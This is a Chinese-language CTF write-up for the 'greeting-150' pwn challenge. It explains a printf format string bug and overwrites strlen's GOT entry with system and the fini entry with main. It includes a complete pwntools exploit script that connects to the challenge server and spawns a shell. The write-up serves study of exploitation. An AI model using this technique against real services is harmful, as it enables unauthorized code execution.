攻防世界PWN之greeting-150题解

greeting-150

首先看一下保护机制

攻防世界PWN之greeting-150题解_第1张图片

然后我们拖入IDA,发现是一个很简单的程序。

攻防世界PWN之greeting-150题解_第2张图片

攻防世界PWN之greeting-150题解_第3张图片

然而,最后的那个printf(&s);存在格式化字符串漏洞,可以造成任意地址的读写。

首先,我们需要确定我们输入的数据的相对位置。

攻防世界PWN之greeting-150题解_第4张图片

经过测试,我们需要在前面填充2个字符,然后接下来我们的数据会位于第12个位置

 

那么,我们的payload = ‘aa’ + p32(address) + ‘%10c%12$n’

,我们就能把address处的数据写为(10+4+2+strlen(“Nice to meet you,”))这个值

原理请见https://www.cnblogs.com/ichunqiu/p/9329387.html

 

那么,我们可以用这种方式来修改GOT表

我们可以修改strlen的GOT表内容为system的PLT,然后我们想办法让程序程序回到main,执行strlen,我们输入/bin/sh,即可get shell

我们发现,程序结束时,会调用这个地方,我们利用printf把这里也一起修改为main的地址

 

以上两个地方的修改必须在一次完成,并且,我们的payload长度不能大于64,因为程序最多读取64个字符,因此,我们精心布置payload。并且,我们应该拆分4字节,分开写,不要,printf()需要输出很多字符,假如我们要让目标地址存入main_addr,如果我们是

payload = ‘aa’ + p32(fini_got) + “%” + str(main_addr -4 -2 – strlen(“Nice to meet you,”)) + ‘c%12$n’,那么printf需要输出main_addr这么多个字符,也就是

0x80485ED / 1024 / 1024 = 128MB,这是非常低效的。因此,我们有另一种方法。在printf的格式化修饰符中,hn WORD(),hhnBYTE(字节),nDWORD(双字)

  1. fini_got = 0x8049934  
  2. main_addr = 0x80485ED  
  3. strlen_got = 0x8049A54  
  4. system_plt = 0x8048490  

此处的数据,只有后2字节与main_addr不一样,因此,我们只需要修改后两字节

然后就是strlen的GOT表内容,四个字节我们都需要修改,我们拆分为2个2字节写。

  1. arr = [  
  2.    0x85ED,  
  3.    0x8490,0x804  
  4. ]  

由于因特尔处理器小端存储,因此,我们要在fini_got写入2字节数据arr[0]

strlen_got写入2字节数据arr[2],在strlen_got+2处写入2字节数据arr[1]

 

我们应该按照数据的大小,从小到大的顺序写。

 

那么,我们需要先写0x804这个数据,再写0x8490,再写0x85ED(想想为什么?),这样,printf总共输出了0x85ED个字符,也就是33KB大小的数据,效率提升了近4000

 

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. #sh = process('./pwnh16')  
  5. sh = remote('111.198.29.45',47556)  
  6.   
  7. fini_got = 0x8049934  
  8. main_addr = 0x80485ED  
  9. strlen_got = 0x8049A54  
  10. system_plt = 0x8048490  
  11.   
  12. sh.recvuntil('Please tell me your name... ')  
  13.   
  14. #通过观察,这几个地址只有后2字节不一样  
  15. payload = 'a'*2  
  16. payload += p32(strlen_got)  
  17. payload +=  p32(strlen_got+2)  
  18. payload += p32(fini_got)  
  19.   
  20. arr = [  
  21.    0x85ED,  
  22.    0x8490,0x804  
  23. ]  
  24.   
  25. #注意,我们的payload长度不能超过64,不然后面的都读取不到,因为最多输入64个字符  
  26.   
  27. #hn WORD(),hhnBYTE(字节),nDWORD(双字)  
  28. #修改strlen GOT内容的前2字节  
  29. num = arr[2] - 32  
  30. payload += '%' + str(num) + 'c%13$hn'  
  31. #修改strlen GOT内容的后2字节  
  32. num = arr[1] - arr[2]  
  33. payload += '%' + str(num) + 'c%12$hn'  
  34. #修改fini的后2字节  
  35. num = arr[0] - arr[1]  
  36. payload += '%' + str(num) + 'c%14$hn'  
  37.   
  38. print len(payload)  
  39.   
  40. sh.sendline(payload)  
  41.   
  42. #get shell  
  43.   
  44. sh.recvuntil('Please tell me your name... ')  
  45.   
  46. sh.sendline('/bin/sh')  
  47.   
  48. sh.interactive()  

你可能感兴趣的:(CTF,二进制漏洞,pwn)